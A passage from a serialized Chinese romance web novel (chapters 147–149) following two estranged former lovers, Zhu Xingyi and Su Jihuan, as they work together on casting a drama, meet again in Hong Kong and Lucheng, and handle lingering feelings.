话题转移到二人身上，祝星亦饮了口酒没有率先回答，只听苏寄欢说：“机会还是要留给后辈，现在只希望可以挑两个合适的女主把这个ip撑起来。” 祝星亦跟着嗯了一声，“回头我们会再讨论一下选角的事，苏总若是有时间，我们可以约一次。” “好，等我回麓城我会和祝总沟通。”苏寄欢淡淡道。 用完餐后，一行人准备前往苏寄欢半山处的房子参观。韩珑跟在韩琳身后悄声说：“妈，我还是想让她们俩演，我能不能申请和她们一起沟通？你信我，有我去沟通，绝对能……” “你现在沟通是没用的，她们两个一个都不会去演，你有时间不如去……”韩琳说着，陈嘉玲走了过来。 陈嘉玲听到二人的耳语，跟着说：“阿珑还是想要苏总祝总出演？” 韩珑点点头。 “《长离引》最大的投资商是邓佳丽，你去和她们沟通不如和邓女士沟通，她说话还是有点用的。”陈嘉玲道。 韩珑实在想邀祝星亦和苏寄欢出演，但她不太认识邓佳丽，不禁觉得有些难度。 陈嘉玲从包里掏出名片递给韩珑，“这里是邓女士助理的联系方式，你可以试试联系她。” 韩珑接过名片，面上露出为难的表情。她处理自身熟知的资源得心应手，很少与不熟的人接触。 陈嘉玲知道她的为难，开解道：“若此事真的成了，你也算成长了，不是吗？” 韩珑觉得有道理，赶忙把名片放自己包里。 不一会儿，几人坐车前往苏寄欢的新居。白澜把点心放后备箱，跟着一起过去参观苏寄欢的家。 到达别墅停完车，韩珑下车后感叹这个地段太好了。内部装修是苏寄欢一如既往的简约风，韩珑登上三楼露台发现风光更好了，竟然可以直接看到维港。 “真不错，我要是住这里，我一辈子都不想下山。”韩珑拍了几张照说。 祝星亦站在露台上眺望港城夜景，如韩珑所说，住在这里确实不想下山。 邱明珠和陈嘉玲在一楼与苏寄欢聊天，祝星亦从露台回来往楼下看，只看到苏寄欢的背影。 屋子里有生活的痕迹，结合苏寄欢所说的，想必她这几天一直在这里住。桌上放着曲奇四重奏的袋子，祝星亦盯着袋子看了许久，想到维港那处令人尴尬的问答，不禁脚趾抓地。 没话找话的方式竟然是问对方吃不吃蛋挞，还被对方拒绝了。 祝星亦一想到苏寄欢脸上的讥嘲就感到浑身难受，苏寄欢该不会以为自己想吃蝴蝶酥才邀请她吃蛋挞的吧？ 但是那家的蝴蝶酥和曲奇确实好吃，她没顺路就没买，不过她确实想吃，所以当时苏寄欢是看出她想吃才笑话她？到底是不是？ 越想，想得越多。 不知不觉间，祝星亦来到放着点心袋子的桌子旁。犹犹豫豫了一会儿，苏寄欢走过来道：“我在露台设了茶点，你可以上去吃。” 说完，苏寄欢把袋子放进冰箱里。 看祝星亦还杵着，苏寄欢问：“祝总，怎么了？” 祝星亦摇摇头走向楼梯，“没事，我去露台。” 迎着山风用完茶点，菲佣收拾完毕后，露台竟只剩祝星亦和苏寄欢两人。 苏寄欢靠着椅背沉默不语，祝星亦抓着衣角问：“你真的要定居在港城了？不会觉得不方便吗？” “有什么不方便？不方便应该是别人考虑的事，不是我。”苏寄欢换了个姿势说，“你对港城很有意见？” “单纯觉得这个地方不是很大。”祝星亦说。 苏寄欢笑道：“麓城也不是很大，我喜欢维港，看腻了麓铭江，你不也是？” “倒也不是看腻了，毕竟在麓城生活了十多年，有情怀。”祝星亦解释。 苏寄欢喉咙里轻哼一声：“情怀？” 祝星亦点点头，轻声说：“我大一的时候用的是在二手市场买的手机，它内存很小，下个学习软件都要把以前的文件清理一遍，每次打卡和提交作业都会卡很久，我实在受不了了，就打算去换新手机。那时我有在做舞蹈室的老师，我的生活费也是我在舞蹈室挣的。可是舞蹈室的工资是月结，我用钱紧，就去了一些线下能日结的店去兼职。” “礼仪的工资很高，但也很累，而且会碰到很多没素质的人。我以前脾气不好，你也是知道的，所以在某次兼职的时候跟客人吵了架，活动方晚上就把钱结给我要我第二天别来了。” “我一肚子火气没处撒，正好也凑够了买新手机的钱，直接把那个负责人骂了一顿。之后我去手机店里买了我人生中第一个新手机，128g，很够我用。我跑到麓铭江不停拍照，吹着江风看美丽的外滩风光，那时候我觉得麓城好美啊。” “可我看着漂亮的麓铭江还是哭了。我不知道我在哭什么，可能是之前刚到麓城时听不懂麓城话被骂了，可能是班上一些有钱的同学要去聚餐还喊上我，我因为没钱几次推托不去，最后他们在背后说我假清高，也可能是觉得在麓城生活真的不容易，我在麓舞宿舍住，我妈妈带着安安只能挤在郊区逼仄的破房子里，却跟我说在麓城的生活挺好的。” “在麓城的十多年，我早就有了自己的房产，也安家落户麓城。闲着没事出门看看麓铭江，觉得它比十多年前更漂亮。有些游客来这里看麓铭江，会说它真漂亮，也会说它真的很一般，大家都一样的。” “我始终觉得，一个地点能让人感受到它的美好，靠的不是绚丽的灯光和天花乱坠的称号，而是经久之后，那个人和那个地方珍贵的回忆。其实我不觉得维港的夜景有多漂亮，新鲜感过去，它就和普通的港口海景没什么区别。”说完，祝星亦看向维港。 她眼中是港城浓稠却又剔透的春夜，还有身旁故人簌簌落雪般的侧脸。 别扭内敛的语言，似乎要透过大篇幅的段落表达一些难以说出口的隐喻。只是当她说完，安静的苏寄欢始终没有说什么。 祝星亦半敛着眸子笑着说：“不过，恭喜你，你要在港城开始你的故事，你会拥有港城的诸多回忆，维港在你眼里，会越来越美。” “嗯，会的。”苏寄欢淡淡说。 沉闷的空气太过压抑，祝星亦随意说了句话起身离开，露台上只有苏寄欢一个人安安静静地看夜景。 稍晚些祝星亦下山回酒店，白澜把几袋点心放桌子上，“星亦，我先拿出来吃一点。” 祝星亦忙于处理工作，应了声：“好。” 白澜把几盒点心都从袋子里掏了出来，看到曲奇四重奏的盒子疑惑了一下。 今天有去曲奇四重奏买东西吗？ 放下后，白澜打开蛋挞盒子，发现少了一个蛋挞。 第147章 和前任当同事很膈应 嗯？谁吃的？ 白澜拿出一个蛋挞端详，心想应该是祝星亦吃的。 倒是蝴蝶酥…… 白澜掀开盖子看盒子里的蝴蝶酥和曲奇，脑海里只有苏寄欢拎着曲奇四重奏家的袋子的印象。 难不成这是苏总给的？怎么回事？ 白澜没有直接问，毕竟这是那两个人之间的事，她怎么都不好插嘴。捡了一个蝴蝶酥尝了口，很美味。 “星亦，这些蛋挞你明天要吃完，不然不新鲜了。”白澜提醒。 忙于处理工作消息的祝星亦说了句知道了，想到苏寄欢说的那句[蛋挞很腻］，拧着眉毛说：“知道了，但我吃不下那么多，你给我留点蛋挞，其他东西你打包带回去和你对象一起吃好了。” “那这个……”白澜还没有再说什么，祝星亦去接电话。 白澜往嘴里填了个曲奇饼干，把蝴蝶酥和曲奇拿出来两块放蛋挞盒子里。 次日两人前往港迪，白澜挑了几个项目玩，玩到尽兴差不多傍晚了，她让祝星亦又帮忙拍几张照。 “星亦，我们明天就回麓城了，说来也是巧了，这几天天气都很好，但明天我们走的时候会下雨。”白澜握着米奇冰激凌查看天气预报，心想真是赶上时间了，该玩的玩尽兴再下雨，恰好也不是工作日，各地不是很拥挤。 这一趟真开心啊，白澜想。 白澜熄屏跟祝星亦说：“看完烟花我们就先回去，你明天上午若是有时间，咱们继续逛，要是没时间就先在酒店里歇息。” 祝星亦自拍了几张说：“明天我自己去逛好了，你先休息。” 等十点左右从园区出来，白澜已经疲惫得腿脚发软倒头就睡。一觉醒来后已经十一点多，而祝星亦已经逛完街回来了。 白澜伸着懒腰去客厅找祝星亦，祝星亦正抱着一个盒子低头沉思。白澜走过去，看到盒子上曲奇四重奏的logo。 这不是…… 祝星亦哦了声说：“我买了几盒，昨天不是没有顺路吗？你给你对象也带点。” 她拍拍一旁的大袋子，少说得有十几盒。 白澜有点惊讶地打开袋子，看来祝星亦是真喜欢吃这个。 “明天降温，你多穿点。”白澜说，“小雨转中雨了，不过天气预报不准，估计也下不大。” 离港那天雨确实下得不是很大，邱明珠过来送别祝星亦回去，陈嘉玲和苏寄欢也到了。 “韩琳她们一早就赶回麓城，这次逗留时间不是很长，还是带着工作来的，希望你有空再来玩。”陈嘉玲说完转向苏寄欢，“苏总可能要再等半个月才回去呢。” 半个月？祝星亦愣住。 餐厅里苏寄欢说会和祝星亦讨论选角的事，她便以为苏寄欢会很快去麓城，怎么还要等半个月。 雨丝斜斜掠过伞骨，苏寄欢指尖叩着伞柄，目光掠过对方肩头投向远处：“有需要讨论的线上联系。” 她保持单手执伞另一手插兜的姿势，伞微微压低隐了面容，白色毛衣裹着清瘦肩线，深灰皮带收束的西裤垂坠着，脚下一双平底乐福鞋，松松绾了个马尾，鬓边的碎发正勾着银丝镜框。 “好。”祝星亦没有多说什么，随意聊了两句。 她看向苏寄欢的眼睛，雨气洇湿了镜片，镜片下浅褐色的眸子染着港城三月的薄雨，像泰晤士河上的浓雾。 “那，苏总，再见。”祝星亦握紧雨伞后退半步。 她想要听到些什么话，幻想对方会说些让她多想的句子，但苏寄欢只是淡淡地嗯了一声，身子都没动一下。 祝星亦垂头微笑，她坐进车里收起伞，司机开车离开。她望着后视镜，后视镜里打着黑伞的女人毫不留恋地转身离开。 积压在胸口的苦痛忽然爆发，可困于已经无比成熟的29岁，祝星亦只是笑了一下。 有人要留在港城，有人要留在麓城。 她觉得她当初的选择没有错，可现在又觉得，是她做错了事。 她总是做错事，以前苏寄欢会包容她，但现在不会了。 白澜*低头刷着手机，看到有趣的话题赶忙跟祝星亦分享：“星亦你看这个讨论：[如果让你听一首歌回到十年前，你会听什么歌？］” 祝星亦想了想说：“《Loveinthedark》。” 港城国际机场近了，车内恰好放起了Adele的《Loveinthedark》。 白澜又问：“那你要对十年前的自己说些什么呀？” 蒙蒙的雨雾盖住港岛，祝星亦垂眸抿了抿唇，想起十年前刚重生的自己。 那时她站在光芒万丈的舞台上，信誓旦旦说要走上高高的宝座。 她做到了，她达到了所有的目标，甚至，远远超过那个目标。 但世间遗憾重重。 她的月亮还在天上，她的神明端坐在高位上从未改变。 她们的故事，早已结束。 机场高速两侧的紫荆花被雨丝渲染成一片紫色的雾，她忽然抬头对着后视镜中的自己笑说：“想对十年前19岁的我说，星星，慢点走，慢点走吧。” // 回麓城后祝星亦忙到头晕眼花，筹备期需要做的事有很多，现在算下来最难的是选角。有苏寄欢亲手把控投资，这部剧的投资越来越多越来越多，多到……多到[星闪]都不敢让周娅来演主角。 “苏总真是体面人，一年后合作到期，到期前的作品这么下血本，真……” 白澜还没说完，祝星亦打断她道：“因为《长离引》的拍摄需要两方的艺人共同参与，她不想她的艺人在我这里受委屈，也怕我不够专业拍不出一个好的作品，所以才带这么多投资进来。” 白澜听后有些愕然，但想一想这次合作双方都出力出钱出心，确实比之前合作拍摄得影视更精致。 《长离引》也是双女主圈子里的大IP，断然要多花心思。 祝星亦翻阅着投递上来的演员资料声音平淡如水：“归根结底，她还是看不起[星闪]，只觉得拍短剧出身的公司上不了台面。哪怕已经呈出来许多优秀作品也没用，科班出身的人总会质疑非科班的人。我习惯了她的偏见，因为这本来就是事实。” 她想到之前刚回国时苏寄欢对她奚落，那些讥讽的语言不是为了报复和心中的憎恨，而是真正的看不起。 [星闪]兢兢业业拍了两年长剧，也参与出品电影，仍是洗不掉外界的一些看法以及苏寄欢的偏见。 前世苏寄欢对她的厌恶，是不是也是因为她“攀上了”晏瑾年这个高枝儿？ 祝星亦觉得应该是。 苏寄欢从来都是一个坦坦荡荡的人，憎恶看不起自己这种人是很正常的。 那次激烈的争吵过后，她们不再联系，再见面也是划了界限的陌生人，这也是很正常的。 “再选选吧，她都给我们这么大的面子了，总不能草草了事。”祝星亦翻着演员们的简历轻声说。 祝星亦打包了一些简历给选角导演方彤，她选了一些配角，私心塞进了旧友。 “我和她这个……是cp吧？”咖啡厅里，齐漫姝抱着剧本指着剧本上[陈非晚]的名字说，“我演陈非晚可以，但我拒绝宋姿缈演桑雨。” 祝星亦看她不大乐意，忙解释：“这两个角色的番位差不多，你俩的资历在那，让你俩演好和资方那边交差。” 齐漫姝眉毛都要气得跳到天上：“不行啊，桑雨和陈非晚是cp，我不能和她演cp。” “工作而已，又不碍事。” 齐漫姝把剧本拍沙发上：“可剧里面她俩要接吻的啊！” “你们不是接过？” “我和她分手一年了！” 祝星亦把剧本塞她怀里，安抚她：“那就把吻戏删除，你就当普通同事对待她也行的。” “大星，你会和跟你接过吻，做过爱，做过一切亲密的事的人安安静静做同事吗？”齐漫姝问出了一个尖锐的问题。 祝星亦顿了顿，笑说：“会啊，只是普通同事，又有什么关系？” “你不膈应吗？” 祝星亦被问住了。 膈应吗？ 她想起苏寄欢和她保持距离，以及讥嘲的模样。 苏寄欢应该是膈应的吧。 祝星亦拍拍她的手背说：“这部剧有很大的看点，近期内地首部双女主电视剧，参演的人到时候只会受到更多关注度，你不想翻红一次吗？” 齐漫姝笑祝星亦想得太简单，谁有那命翻红？ 睨着祝星亦静谧的侧脸，齐漫姝想起祝星亦五年前出事的时候，她费尽心力为祝星亦发声，哪怕她知道祝星亦早就变了，但她不信祝星亦会做出那种事。 可惜祝星亦消失了三年，再回归是劣迹斑斑的素人，以及[星闪］ceo。 祝星亦花了好久时间让齐漫姝明白，祝星亦还是以前那个好朋友祝星亦。 她知道祝星亦做错了事，但她，没有怪这个认错的人。 但她知道，有人不会原谅祝星亦。 算算时间，祝星亦也有五年没有演过戏了。 祝星亦离开演员这个身份太久，但她的影视剧还在被人反复回味。 漂亮的皮囊加上非常专业的演技，是被人唾弃的法制咖，也是令人惋惜的影后。 齐漫姝没有就祝星亦过往的事多问，她只知道现在的祝星亦很好。只要眼前的人还是以前纯粹的模样，她就不想再让过去的事耽误她们的友谊。 朋友真的是一个很奇怪的身份。 陌生人做了不可饶恕的事，自己会唾弃一辈子。 可朋友做了，自己竟会为她开解。 不过……有些事对于特殊身份来说，是怎么都开解不了的。 不能原谅的，是因为极度的在乎。 齐漫姝试探性问：“你说这么多，你怎么不演啊？我听说那个韩导想要你和苏小姐一起演，你怎么不跟她讨论一起演主角的事？” 祝星亦低头翻了翻剧本，好半天才假笑一下：“我和她讨论什么？” 明知故问。 齐漫姝不依不饶：“讨论演双女主啊。你演唐离，她演云长洛，你俩的形象简直是天选[不与卿长离］。正好，你和苏小姐也是师徒。云长洛养育教导唐离，苏小姐一步一步把你扶起来，这不是很搭吗？” 祝星亦没吭声。 齐漫姝说着说着顿了下，自言自语：“哦，也不是很搭，唐离为了保护云长洛，孤身与反派作战，最后战死，而你背叛了苏小姐。” 这种事，齐漫姝从来不避讳。 齐漫姝偶尔会跟祝星亦提起那些荒唐事，祝星亦也不反驳，安静地听她教训。 齐漫姝觉得这是在为祝星亦好，不敲打敲打，以后再干出这些事该如何是好？ 祝星亦垂眼看手里的剧本，剧本上三个大字《长离引》。 唐离为了守护心爱的师尊云长洛战死，祝星亦却抛弃了恩师苏寄欢。 “所以，所以我不能演啊，你还明知故问干什么。”祝星亦平静地把剧本放在桌子上，“别提我和她了，成为陌生人已经很不错了，怎么可能成为搭档。” 齐漫姝念叨着确实是这样。 祝星亦盯着腕上的半山水玉镯发呆。 镯子她一直没取下来，戴在左手上，时时看着，仿佛她还是苏寄欢的学生。 总要想象她们还没结束，总要觉得结束了还有结果。 “那这两个主角到底选谁啊？”齐漫姝开始关注主角选角的事情，“一直选不好，我的心也定不下来，真要我演的话也可以，我当个小配角就行了。如果主演腕儿大，那我就演陈非晚。毕竟腕儿越大越能彰显配角的珍贵嘛，是不是？” 祝星亦点点头：“是啊，所以不敢轻易选出主演。投资那么多，必须选两个知名度高、演技好、有档期、地位高且有话题度的人。” 凑齐这些实在难得，祝星亦没什么头绪，叹口气道：“不然我亲自和[苏盛］那边沟通沟通，主演定不下我也着急。” “你沟通？”齐漫姝探过脑袋问：“你是要和苏小姐沟通吗？” 第148章 欢迎回麓城 祝星亦把剧本往齐漫姝那处推了推：“后天我会去线上和她讨论。” “你不膈应吗？”齐漫姝单挑起一侧眉问，“你一次次跟她分手离开她，但你们曾经那么亲密，现在又要做同事，你不膈应吗？” 祝星亦盯着瓷杯里的咖啡许久许久，面上浮起一个格式化的笑来：“陌生人，有什么好膈应的。” 齐漫姝看祝星亦的样子也不像很膈应苏寄欢，叹道：“但苏小姐可能会很膈应吧，不然怎么会一直不回来？” 祝星亦没再吭声，安静地喝咖啡。 白澜晚上给祝星亦定了开线上会议的时间，也跟苏寄欢的助理安宁交代了会议时间。 到时间后，白澜和安宁联系后打开线上会议软件，那边过了好久才接通。 “安宁，苏总好了吗？”白澜问。 那边安宁答道：“好了，稍等。我这边拉苏总过来，让苏总和祝总先聊着。” 苏寄欢的头像进入会议界面后，白澜把祝星亦拉了进来。一切准备好后，白澜放下电脑离开祝星亦的办公室。 祝星亦坐下打开摄像头，看着仍是头像和关闭麦克风的苏寄欢好久，小心翼翼问：“苏总，可以开始了吗？” 又等了半分钟，苏寄欢那边才打开麦克风，但没有打开摄像头。 看不到对方，对方却能看到自己，祝星亦有些紧张。 “可以了。”苏寄欢说。 祝星亦嗯了两声点开一旁白澜的电脑打开[星闪］的选角方案。 “是这样的苏总，我们这边选角对配角的安排已经有了清晰的规划，明天也会开始展开配角的试镜活动。”祝星亦按了下一页PPT，“除了这些已经确定的配角外，我们还……” 苏寄欢打断她：“稍等。” 祝星亦立马收声：“好。” 盯着苏寄欢的头像，耳机里传来窸窸窣窣的声音，听起来……苏寄欢好像在床上？ 这么早就睡觉了吗？ 想着，耳机里传来一个陌生女人的声音：“Nikos，I‘vehungupyourclothes.” 女人的声音轻轻的，苏寄欢的回应也极轻：“Cheers，youdidn‘thavetodothat.” “Notroubleatall.Oh，areyouonacall” 苏寄欢笑笑说：“Yeah，smackinthemiddleofone.” “Right，I‘llleaveyoutoit.Givemeashoutwhenyou’refree” “Ta，willdo.” 女人的声音好像又近了些：“Oi，you‘reactuallywearingthePJsIgotyou！Lookatthat—propersuitsyou，doesn’titAndyoureckonedtheywere‘tookiddie’atfirst！” “Alright，they‘reabitdaft，I’llgiveyouthat.Butsinceit‘syourpick，I’vegrowndeadfondof‘em.” 耳机里轻微的响动都能让祝星亦瞬间警觉起来，那个女人似乎坐在了床上，语气亲昵得不行：“Righto，won‘tkeepyou.Crackonwithyourmeeting.I’llbeinthelounge.” “Snacksareinthecupboard.Gotthosesalt&vinegarcrispsyou‘remadabout.”苏寄欢柔声说，这样的语气好似情侣间的对话。 “Loveyou，darling～Properdo，youknow.” “Goonwithyou.” 轻快的脚步声慢慢走远，门一开一合，床上翻弄被子的声音清晰无比。 穿了别人买的睡衣，给别人准备了薯片，那么亲密无间的对话，俨然一对情侣。 祝星亦恍然想起苏寄欢在国外待了两年，两年的时间，一次也没回国，家人又都在国内，那么……那么是身边有陪伴的人了。 所以才对自己这个前任那么疏离。 所以客客气气，所以尽是讥嘲，所以是陌生人。 苏寄欢喊祝星亦第五声的时候，祝星亦方才坐直身子盯着屏幕。 短暂的卡顿之后，屏幕上显露出苏寄欢素面朝天的脸，她穿着淡紫色的V领睡衣，肩带有些歪斜。 这件睡衣一点都不幼稚，相反，很成熟，是女朋友会选的款式。 单单看着这样的苏寄欢，祝星亦觉得自己闻到了她身上的柚子花香。只是这份独特凛冽的香味，早已被别人闻了千百次。 “祝总？”苏寄欢又喊了一声。 祝星亦回过神道了句抱歉：“不好意思，我刚刚讲到哪里了？” “讲已经确定的配角的事。” 祝星亦点点头，接着把后面关于选角的内容讲完。重要配角还在待定，两位女主演只能选择试镜和寻找有档期的一线演员，否则无法说服资方顺利进行开拍。 “等我过几天回麓城，我会和你重新商议两位女主的事。”苏寄欢了解祝星亦的需求后说，“具体还要跟资方那边再多多商量，问问她们有没有心仪的演员。” “我也是这样想的，当然我还是更希望我们带着我们心仪的演员与她们讨论。” “你已经有想法了？” “暂时还不太确定，等你回来再说。”祝星亦盯着屏幕里的苏寄欢看了会儿，手指搅着衣角强撑着开口：“这么早就休息了，你现在是在国外吗？” “是。”苏寄欢说，“怎么了？” 耳畔响起那个陌生女人的[Loveyou］，祝星亦摇摇头：“没有，我以为你一直在港城。” 苏寄欢淡淡道：“要陪Lilyana过生日，所以出国了。” “刚刚那个女生？” “嗯。” “Lilyana，百合花，很好听的名字。”祝星亦低声喃喃两句，“苏总要是回来的话，可以提前通知我一声，我可以去接你。” “不用了，我家人会接我。”苏寄欢不冷不热道，“祝总还有什么事吗？” 祝星亦听到苏寄欢这样问，下意识觉得对方有点不耐烦了。 也是，那边很晚了，去吃薯片的Lilyana应该还有话要跟苏寄欢讲。 她摇摇头说了句没什么了，苏寄欢嗯了两声离开会议。 屏幕里只剩祝星亦自己的脸。 空荡荡，孤孤单单，办公室的寂静貌似在讥笑她。 白澜看到祝星亦发来的消息后进来拿电脑，瞥见祝星亦指间攥着卫生纸问：“星亦你怎么了？” 祝星亦摇头：“没什么，没什么。” 苏寄欢回麓城那天又下了小雨，像离开港城那天一样。四月天的麓城是花的世界，开车经过麓湖东边的樱花大道，那边有许多打伞拍照的人。 祝星亦前两天去鹿芜观供奉鲜花，特意摘了漂亮的芍药。她记得她第一次在鹿芜观遇到苏寄欢，苏寄欢递给她的便是芍药花。 苏寄欢出国后，祝星亦便一直常去鹿芜观。帮忙清扫道观，帮忙换鲜花，帮忙在春节施斋饭。 常来道观的老人都熟悉她，有人会问苏小姐怎么不来了。 祝星亦边挂着祈福牌边说：“她有事出国了。” “那她什么时候回来？” 彼时的祝星亦抬头望着树上挂着的红色祈福牌和飘动的布条，她也想知道苏寄欢什么时候回来。 不过，现在苏寄欢回麓城了。 祝星亦到停车场后便一直缩在车里，苏家人来接她也会从这个出口接。她戴上墨镜口罩和帽子，怕人从外面路过认出她来。 一行人从车里出来，是苏芙几人。 进去一会儿后帮忙拎着箱包走出，苏寄欢在人群中太过扎眼，松松挽着的发垂下白色丝带，薄薄的米白色套装裹住有些清瘦的身子。 她照常举着黑伞，站在一旁与苏家人简单讲了几句话，便扬着发自内心的笑容进入车里。 车驶离停车场，祝星亦赶忙发动引擎追了上去。 她今天开着公司员工的车，其貌不扬的车子不会被谁发现。 经过樱花大道时，雨滴混着飘落的樱花花瓣垂在车前窗上，雨刷刮动着，祝星亦注视远方苏寄欢的车。 不巧，苏寄欢的车走得远又快，红灯挡住了祝星亦追过去的路。 60秒的红灯。 60秒，她估计追不上苏寄欢了。 对面斑马线上的行人打着伞用dajiangpocket3录像，边过斑马线边说：“哇，麓城的春天真的好漂亮啊！” 是啊，真的好漂亮。 麓城的春天总是很漂亮。她很想跟苏寄欢说。 祝星亦没有继续向前，转弯换了条路回公司。 把车还给员工后，祝星亦坐回办公室继续思考关于选角的问题。 昏沉沉的天沉淀了太多愁绪，春困的倦意把双手双脚麻痹得几乎要没了知觉。祝星亦沉默地歪在椅子上随意滑动演员资料，她不知道苏寄欢什么时候会和她约时间，反正总不能是这两天。 苏家人想必会给苏寄欢接风洗尘，或者再说些小话嘱咐苏寄欢不要和她有过多的接触。 祝星亦都能想到苏家人会说什么话了，但说来说去也是那几句。她现在和苏寄欢成为淡如水的陌路人，那些人要是当着她的面再说些什么她真的不乐意。 门外响起了敲门声，祝星亦懒懒散散地说请进，白澜只开了门的一小角，拧着眉毛探了个脑袋，身子还在外面。 白澜：“那个，祝总……” 她还没说完，身后的人推开门。 门大开着，疏冷淡漠的人出现在门口沉声说：“祝总，打扰了，十分钟后有空去用个餐吗？” 祝星亦怔怔地望着那人浅褐色的眼，久久，颤着声开口：“有，有空。” 苏寄欢点头，“我先去停车场，你十分钟后下来就好。稍等再见。” 简短的两句话说完，苏寄欢离开。 白澜急急忙忙向前跟祝星亦说：“她突然就上来了，也没打招呼，所以……” “没事。”祝星亦简单把工作整理整理，“我先去跟她一起去用餐。” “这算给她接风洗尘吗？”白澜问。 祝星亦否定：“她约的我，应该不算。” 简单收拾下包，祝星亦去洗手间补妆。 约？ 祝星亦望着镜中的自己笑得脸颊红了。 约。 这么暧昧的字眼。 第149章 我们的十年 负三楼停车场，祝星亦走了几步看到苏寄欢的车。 她走过去拉门把手，竟然拉不动，于是抬手敲敲窗户。 对方降下车窗：“怎么了？” “麻烦苏总开门，我要进去。”祝星亦说。 苏寄欢靠在椅背上侧着身子看了祝星亦几秒道：“祝总，你最好自己开车，因为用完餐后去商场逛个街我就要回家，我和你不顺路。” 这话摆明是不想跟自己有什么牵扯。 祝星亦被她的话激得浑身发烧，一个人站在外面干巴巴笑了笑说：“好，我让白澜给我送车钥匙过来。” 她低头拿手机打字的功夫，车窗升起来了。 祝星亦愣愣地看着升起的车窗，心里有些不是滋味，可她觉得自己没有强求对方要对自己礼貌的资格。 她匆匆打完字，一声不吭地在苏寄欢的车旁站着。她没办法跟谁交流，升起的车窗早就隔绝了两人。 不知道等了多久，轻轻的嗡嗡声响起。 祝星亦顺着声音转头，升起的车窗降下。 “上车。”车内人素来清冷的嗓音打破了凝滞的空气，“时间够的话我会送你回去，不够你让白澜接你。” 祝星亦望着真皮座椅上披散着长发的女人，冷漠的侧脸一动不动地看着前方，好似自己并不存在，即便存在，也是一个需要费力送回家的人。 她想到以前，以前她断然不会站在车外面看到苏寄欢的侧脸。 苏寄欢总是会打开车门让她先坐进去，会抬起手掌垫在她头上防止她磕着头，也会为她调座椅和空调温度，还会准备好她想吃的零食。 “不用了。”祝星亦收回目光固执地等白澜过来，“不用麻烦你，雨天太麻烦，不想耽误你的时间。” 车里的人没吭声，默默地升起车窗。 到达酒楼后苏寄欢率先停好车，等了会儿祝星亦出来跟上她的脚步。 “苏总定好位置了吗？”祝星亦问。 苏寄欢点点头带她进去。 这家酒楼两人以前一起来吃过，算下来，麓城大大小小知名的餐厅她们都去过。 相爱的时候会说很多废话，也会一起吃很多饭。 不相爱的时候，吃饭的时候坐在别人对面都会被觉得烦。 侍者先上了两碗糖水，桂花蜜。 苏寄欢吃了一口便放下勺子：“太过甜腻，现在的质量那么差的吗？大不如前。” 她舀起半勺晶莹的糖水，瓷匙碰壁的轻响惊醒了祝星亦的恍惚。 祝星亦舀起一勺品尝，并未发觉和以前有什么不同。 对面的人将勺子放进瓷碗里，单手轻轻推到一旁，这个动作代表不吃了。 “你不吃了？”祝星亦问，只吃了一口就不吃了，这也太浪费了。 苏寄欢睨了眼祝星亦，抬手把碗推到对面：“你若喜欢，你来吃完。” 祝星亦呆滞了片刻。 她要吃苏寄欢没吃完的糖水？ 祝星亦下意识要拒绝，但不知怎的，手竟然把那碗糖水拿了过来。 糖水拿到手边的那一刻，祝星亦不知所措地看了眼苏寄欢。苏寄欢眉毛微压，嘴角向下撇着，仿佛下一秒就能听到她的冷嘲热讽。 面对如此嫌恶的表情，祝星亦心下不太好受，但面子上总要过得去，于是挺直了脊背说：“吃一口就丢掉的话，未免也太浪费了，苏总的习惯并不好。” 祝星亦拿起瓷匙舀一口送进嘴里，淡淡道：“况且这糖水也没难吃到哪里去。” 对面的女人鼻孔里飘出轻微的哼声，头也扭到一旁，一副一言难尽的模样。 祝星亦自动屏蔽苏寄欢的嫌弃，低头继续吃糖水。 吃到一半却发现，她刚刚一直在用苏寄欢用过的勺子吃糖水…… 难怪苏寄欢那么嫌弃。 但已经吃了一半，除了吃完，也没别的办法。 所幸这家酒楼的餐点都是又少又贵，祝星亦又吃了几口糖水便见底。 侍者再上餐时，她已经没有多少胃口继续用餐。 “你这次回来，感觉怎么样？”祝星亦吃不下餐，只好跟苏寄欢交谈。 苏寄欢慢条斯理地夹了口菜，道：“没什么感觉，还是和以前一样。” “我觉得还是有一些变化的，各种层面上来讲。”祝星亦不知道苏寄欢能不能听懂她的暗示，不过很快，苏寄欢的反应验证了并没有听懂。 苏寄欢低头吃饭：“祝总，你吃饱了的话可以先坐着，不要耽误我吃饭。” 祝星亦被这话一噎，只得小声为自己开脱：“我以为你要和我谈谈工作上的事，难道只是请我吃一顿饭吗？” 苏寄欢放下筷子，正色道：“请？祝总，我没有请你吃饭，稍等我们要AA。” AA？ 祝星亦呆滞半晌。 不是苏寄欢说要…… 祝星亦回味苏寄欢说过的话，好像确实没有说要请吃饭。 她不再吭声，拿起刚放下的筷子默默继续吃。 结完账，苏寄欢先付了钱。祝星亦瞥了眼账单，把钱A了过去。 “那碗糖水48，我只吃了一口，你要给我多转40。”苏寄欢收拾着包提醒。 “多给你转……40？”祝星亦很想吐槽怎么40块钱也要转过去，想一想为这个争执没必要，一声不吭地把40转给了苏寄欢。 刚转过去，苏寄欢立马点击了收款。 苏寄欢起身离开酒楼去按电梯，“我要去上面逛商场，你如果不想来，可以直接回去。” 祝星亦摇头：“逛，我也逛。” 苏寄欢嗯了声，电梯到达，两人走进去。 一个站左边，一个站右边，中间仿佛隔了条麓铭江。 到三楼一群人挤了进来，祝星亦被人群挤到边角，不知道碰到了谁，听到一声轻轻的[啧]声。 “不好意思。”祝星亦小声道歉，抬头，是苏寄欢。 “你踩我脚了。”苏寄欢别过脸说。 祝星亦这才发现自己踩苏寄欢脚踩得结结实实，慌忙移开后又被挤了下。 两对胸脯挤在一起，祝星亦的脑子闪过一丝电光，匆匆用手撑着墙壁又低声说：“那个，抱歉。” 苏寄欢冷着脸抬头看电梯楼层。 沉默比责备更让人尴尬。 祝星亦觉得自己再说话就有点自找没趣，索性安静地低头强撑着墙壁。 苏寄欢的胸脯跟着呼吸起伏，凛冽的柚子花香在小角落里蔓延开。 这是她们分别后离得最近的一次。 嗅着惦念的味道，祝星亦有些眩晕。 叮的一声，楼层到了。 苏寄欢提醒她出去，她才缓过神。 “你要去买什么？”祝星亦跟在苏寄欢身边问。 苏寄欢：“随便逛逛。” “这一层都是珠宝店，你要看什么珠宝吗？”祝星亦环顾四周问，“如果你有想要的，我可以送你，算是为你接风洗尘。” “不用。”苏寄欢说完，拐进一家玉器店。 她随意看了看，让柜姐拿出一个玉镯。 清透无比的镯子，和她俩那一对半山水玉镯是不一样的风格。 祝星亦瞄了瞄苏寄欢左手腕上叠戴的金玉镯子，金玉相撞的叮叮声煞是好听。 